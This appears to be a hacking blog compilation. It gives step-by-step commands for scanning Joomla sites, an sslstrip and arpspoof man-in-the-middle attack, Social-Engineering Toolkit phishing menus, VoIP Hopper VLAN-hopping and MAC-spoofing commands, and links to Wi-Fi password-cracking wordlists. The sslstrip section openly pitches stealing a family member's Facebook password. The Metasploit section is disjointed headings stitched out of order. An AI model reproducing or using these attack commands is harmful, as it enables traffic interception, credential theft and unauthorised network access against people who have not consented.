Here i am with a new working hack to scan and exploit a Joomla blog. Things you needed are following :--->
1.Backtrack 5
2.Internet connection
Here are following steps, please follow all the steps according to this post:

 1. Click on Applications/Backtrack/Vulnerability assesment/Web Vulnerability assessment/CMS Vulnerability Identification/joomscan.



2.Now Joomla scanner console will open like in image.
3.Now console will open now type chmod 0777 joomscan.pl and hit enter.

4.Now type  ./joomscan.pl -u www.YourJoomlasite.com in this in place of YourJoomalasite.com type your desired joomala site and hit enter it will start scanning it .

This article is written by Aditya Joshi, He blogs at  http://adityahackingarticles.blogspot.in . If you are intrested in writing article too then email me your article at haseeblog@gmail.com

What is SSL Strip?

SSL strip is a software that is used to sniff the data over HTTPS. The sniffer read all the data in a network with 9is send between a user and the Router but no a days SSH or "HTTPS" have made it very difficult to get useful data (Like Facebook Password of your brother in other room). So here is a tools that can even intercept the data over HTTPS.

Running sslstrip

• Flip your machine into forwarding mode. (echo "1" > /proc/sys/net/ipv4/ip_forward)
• Setup iptables to redirect HTTP traffic to sslstrip. (iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port <listenPort>)
• Run sslstrip. (sslstrip.py -l <listenPort>)
• Run arpspoof to convince a network they should send their traffic to you. (arpspoof -i <interface> -t <targetIP> <gatewayIP>)

How does this work?

The Social-Engineering Toolkit (SET) is a python-driven suite of custom tools which solely focuses on attacking the human element of penetration testing. It's main purpose is to augment and simulate social-engineering attacks and allow the tester to effectively test how a targeted attack may succeed. Currently SET has two main methods of attack, one is utilizing Metasploit[1] payloads and Java-based attacks by setting up a malicious website that ultimately delivers your payload. The second method is through file-format bugs and e-mail phishing. The second method supports your own open-mail relay, a customized sendmail open-relay, or Gmail integration to deliver your payloads through e-mail. The goal of SET is to bring awareness to the often forgotten attack vector of social-engineering.


Official Site: http://www.social-engineer.org/



Sample Usage:
==========================================

root@netinfinity-laptop:/pentest/web_2a/web2a/social_engineering_toolkit# python set


    [---]       The Social Engineering Toolkit (SET)     [---]
    [---] Written by David Kennedy (ReL1K) @ SecureState [---]
    [---]               Version: 0.2 Alpha               [---]

Welcome to the Social Engineering Toolkit, your one-stop shop
for all of your social engineering needs. 

Select from the menu on what you would like to do:

1. Automatic E-Mail Attacks
2. Website Attacks
3. Update the Metasploit Framework
4. Update the Social-Engineering Toolkit
5. Create a Payload and Listener
6. Help
7. Exit the Toolkit

Enter your choice: 

VIDEO TUTORIALS:


1:  Phishing Attack Demo Using The Social Engineering Toolkit

2:  Java Applet Attack Using The Social Engineering Toolkit


Source: http://tools.securitytube.net/index.php?title=Social-Engineering_Toolkit_(SET)

VoIP Hopper is a GPLv3 licensed security tool, written in C, that rapidly runs a VLAN Hop security test.  VoIP Hopper is a VoIP infrastructure security testing tool but also a tool that can be used to test the (in)security of VLANs. 


Features:

• Can automatically discover the VLAN ID and VLAN Hop (add a VoIP Interface, send a "tagged" dhcp request)
• VLAN protocol discovery methods:  CDP, Avaya DHCP, Nortel DHCP, LLDP-MED (Cisco), 802.1q
• Assessment mode:  Interactive, menu driven command interface (-z)
• Assessment mode:  Manually spoof CDP or LLDP-MED, or automatically VLAN Hop based on first discovered VVID
• Assessment mode:  DHCP client automatically times out if DHCP is disabled, and still adds the VoIP interface and ARP sniffer
• Assessment mode:  Can set a static IP address and spoof the MAC address of a previously discovered IP Phone, from a menu list ('s' option)
• Assessment mode:  Analyze and record any discovered hosts (IP and MAC) on default interface to hosts.txt file
• Assessment mode:  Automatically adds an ARP sniffer to VoIP VLAN interface after VLAN Hop, and records any discovered IP Phones (IP and MAC) to a file, voip-hosts.txt
• Can VLAN Hop without discovery, by the Administrator specifying a VLAN ID to attempt to "Hop" into (-v)
• VoIP DHCP client:  A fully integrated DHCP client.  VoIP Hopper implements DHCP messaging as function calls instead of relying on the old 'dhcpcd' client.  This opens up the door for future VLAN Discovery mechanisms for other vendors, such as Alcatel.
• CDP Modes:  Can spoof a Cisco IP Phone and automatically VLAN Hop, using three methods.  1)  CDP sniffing, 2) Spoofing a CDP packet specified by user input, 3) Spoofing a pre-constructed IP Phone packet of a Cisco 7971G-GE (fastest method)
• Avaya IP Phone VLAN discovery:  Can spoof the DHCP client Option 176 used by an Avaya IP Phone in order to automatically discover the VVID, and VLAN Hop.
• Nortel IP Phone VLAN discovery:  Can spoof the DHCP client Option 191 used by a Nortel IP Phone in order to automatically discover the VVID, and VLAN Hop.
• LLDP-MED support:  Support for sniffing or spoofing LLDP-MED capabilities used by an IP Phone, in order to enumerate the Voice VLAN ID.
• 802.1q VLAN Discovery:  By default, most ethernet switch ports that terminate IP Phones are enabled for 802.1q trunking, and permit access for at least two VLANs.  The broadcast ethernet frames of IP Phones (ARP) will be sent, tagged, to all members (switch ports) of the broadcast domain (all IP Phones on the VoIP VLAN).  By running a simple sniffer, you can capture the VVID.  VoIP Hopper automates this method of VVID discovery.
• Error correction with VLAN Interfaces:  Implemented a feature that checks to see if the IP address is already configured for the voice interface before attempting to add the new virtual interface, and tag the DHCP request.
• 802.1x Anonymous Voice VLAN Bypass:  VoIP Hopper can generate CDP packets in order to discover the Voice VLAN ID, as any IP Phone based on CDP would do.  In this CDP spoof mode, VoIP Hopper will send two CDP packets in order to decipher the VVID, then it will iterate between sleeping for 60 seconds, and sending another packet.  Not only is this faster than CDP sniffing, but it can also help bypass any mechanisms that rely on CDP for permitting access to the Voice VLAN.
• Voice VLAN Interface Delete:  VoIP Hopper can delete the created Voice interface (-d).
• MAC Address Spoof, then exit:  VoIP Hopper can change the MAC Address of an interface offline and exit, without VLAN Hopping.
• MAC Address spoof and automatic VLAN Hop, supporting multiple discovery methods
• MAC Address spoof, only on new VoIP Interface (keep default interface the same MAC Address) (-D)

Example Usage:


Some quick samples usages for VoIP Hopper are listed below.

• One of the most effective ways to run VoIP Hopper is the new, interactive assessment mode.  Simply run it as follows:  

        voiphopper -i eth0 -z

• LLDP-MED spoofing:  You can spoof LLDP-MED packets to quickly learn the Voice VLAN ID, as follows:

        voiphopper -i eth0 -o 001EF7289C8E

• There are three CDP modes for VoIP Hopper.  Sniff (-c 0), Spoof with custom packet (-c 1), and Spoof with pre-made packet (-c 2).  To sniff for CDP and run a VLAN Hop into the Voice VLAN, simply run VoIP Hopper on the ethernet interface, in the following way:

        voiphopper -i eth0 -c 0

• To spoof CDP in order to more rapidly hop to the Voice VLAN in Cisco SIP environments, run VoIP Hopper in the following way:

          voiphopper -i eth0 -c 1 -E 'SIP00070EEA5086' -P 'Port 1' -C Host -L 'Cisco IP Phone 7940' -S              'P003-08-8-00' -U 1

• To spoof CDP in order to more rapidly hop to the Voice VLAN in Cisco SCCP environments, run VoIP Hopper in the following way:

        voiphopper -i eth0 -c 1 -E 'SEP00070EEA5086' -P 'Port 1' -C Host -L 'Cisco IP Phone 7940' -S                 'P00308000700' -U 1

• To spoof CDP with a pre-made packet generated by a Cisco 7971G-GE IP Phone:

        voiphopper -i eth0 -c 2

• VoIP Hopper also allows one to VLAN Hop to an arbitrary VLAN, without sniffing for CDP.  If you already know the Voice VLAN ID, or would like to VLAN Hop into another VLAN (without sniffing for CDP), you can run it in the following way (target VLAN ID is '200'):

        voiphopper -i eth0 -v 200

• To discover the Voice VLAN in an Avaya IP Phone environment and automatically jump VLANs:

        voiphopper -i eth0 -a

• To discover the Voice VLAN in a Nortel IP Phone environment and automatically jump VLANs:

        voiphopper -i eth0 -n

• To spoof the MAC address of an IP Phone by sniffing for CDP (this changes the MAC address of default interface and new interface):

        voiphopper -i eth0 -c 0 -m AA:AA:AA:AA:AA:AA

• To spoof the MAC address of an IP Phone using an Avaya DHCP request (this changes the MAC address of default interface and new interface):

        voiphopper -i eth0 -a -m AA:AA:AA:AA:AA:AA

• To spoof the MAC address of an IP Phone by VLAN Hopping without CDP or DHCP (this changes the MAC address of default interface and new interface):

        voiphopper -i eth0 -v 200 -m AA:AA:AA:AA:AA:AA

• To spoof the MAC address of an IP Phone without changing the MAC address of the default ethernet interface (only spoof the new voice interface's MAC address):

        voiphopper -i eth0 -v 200 -m AA:AA:AA:AA:AA:AA -D

• To simply spoof the MAC address of an interface and then exit.

        voiphopper -i eth0 -m AA:AA:AA:AA:AA:AA

• To delete the VoIP interface (eth0.200) created by VoIP Hopper:

        voiphopper -d eth0.200


                                                                 ==============

Tutorial 1:  Assessment Mode video tutorial for VoIP Hopper 2.0

Tutorial 2:  LLDP-MED features of VoIP Hopper

Tutorial 3:  Hotel Exploit Demo ~ When DHCP is disabled

Today is the last episode of this training and it deals with the team tactics involved in using Metasploit!

==========
Team Tactics:
==========

Today it the fifth part of the Series and it deals with the Maneuver.


=========
Maneuver:
=========

This Video Tutorial deals with the Post-Exploitation Stuff and details.

============
Post-Exploitation:
============

Today is turn for the third part of the instalment it is about exploiting and accessing the compromised machine.

=======
ACCESS:
=======

Today I am going to share a very good Video Training on the Pen testing about the famous Metasploit and Armitage, Today comes the first part that covers the introduction others will soon follow.

Somedays back i got a request from my blog's reader about the WEP,WPA,WP2 or Wifi cracking Dictionary files. As all the people who have tried wireless hacking and used the cracking software, they all know that the dictionary or wordlist provided by the Software is not enough and lack alot. So following are links to the websites where you can download the wordlist for free.

• http://ftp.sunet.se/pub/security/too…all/wordlists/
• ftp://ftp.ox.ac.uk/pub/wordlists/
• http://gdataonline.com/downloads/GDict/
• ftp://ftp.openwall.com/pub/wordlists/
• ftp://ftp.cerias.purdue.edu/pub/dict/
• http://www.indianz.ch/tools/doc/wordlist.zip
• http://www.outpost9.com/files/WordLists.html
• ftp://ftp.openwall.com/pub/wordlists/passwords/
• English and French: https://www.securinfos.info/wordlists_dictionnaires.php
• Virtually every language: ftp://ftp.ox.ac.uk/pub/wordlists/
• http://www.lostpassword.com/f/wl/bigdict.zip
• http://www.lostpassword.com/f/wl/French.zip
• http://www.lostpassword.com/f/wl/Spanish.zip
• http://www.lostpassword.com/f/wl/German.zip
• http://www.vulnerabilityassessment.co.uk/passwords.htm
• http://packetstormsecurity.org/Crackers/wordlists/
• http://www.ai.uga.edu/ftplib/natural-language/moby/
• Cotse has possibly one of the largest collections of word lists (including French). http://www.cotse.com
• http://www.cotse.com/tools/wordlists1.htm
• http://www.cotse.com/tools/wordlists2.htm
• Various language dictionaries at: http://www.openwall.com/mirrors/
• ftp://dl.openwall.com/pvt/sample/

====================
Source: http://wifi0wn.wordpress.com/wepwpawpa2-cracking-dictionary/
===============

AND here is the torrent link to the biggest wordlist available on the internet. It is more then 13 GB of size and contain Billions of passwords!

Link:> http://torcache.net/torrent/6C89DF058F71559DEC6C5C7C9F2CB419182B3294.torrent?title=[kat.ph]collection.of.wordlist.dictionaries.for.cracking.wifi.wpa.wpa2


A thanks is all i need and BTW if any one of you have any request let me know!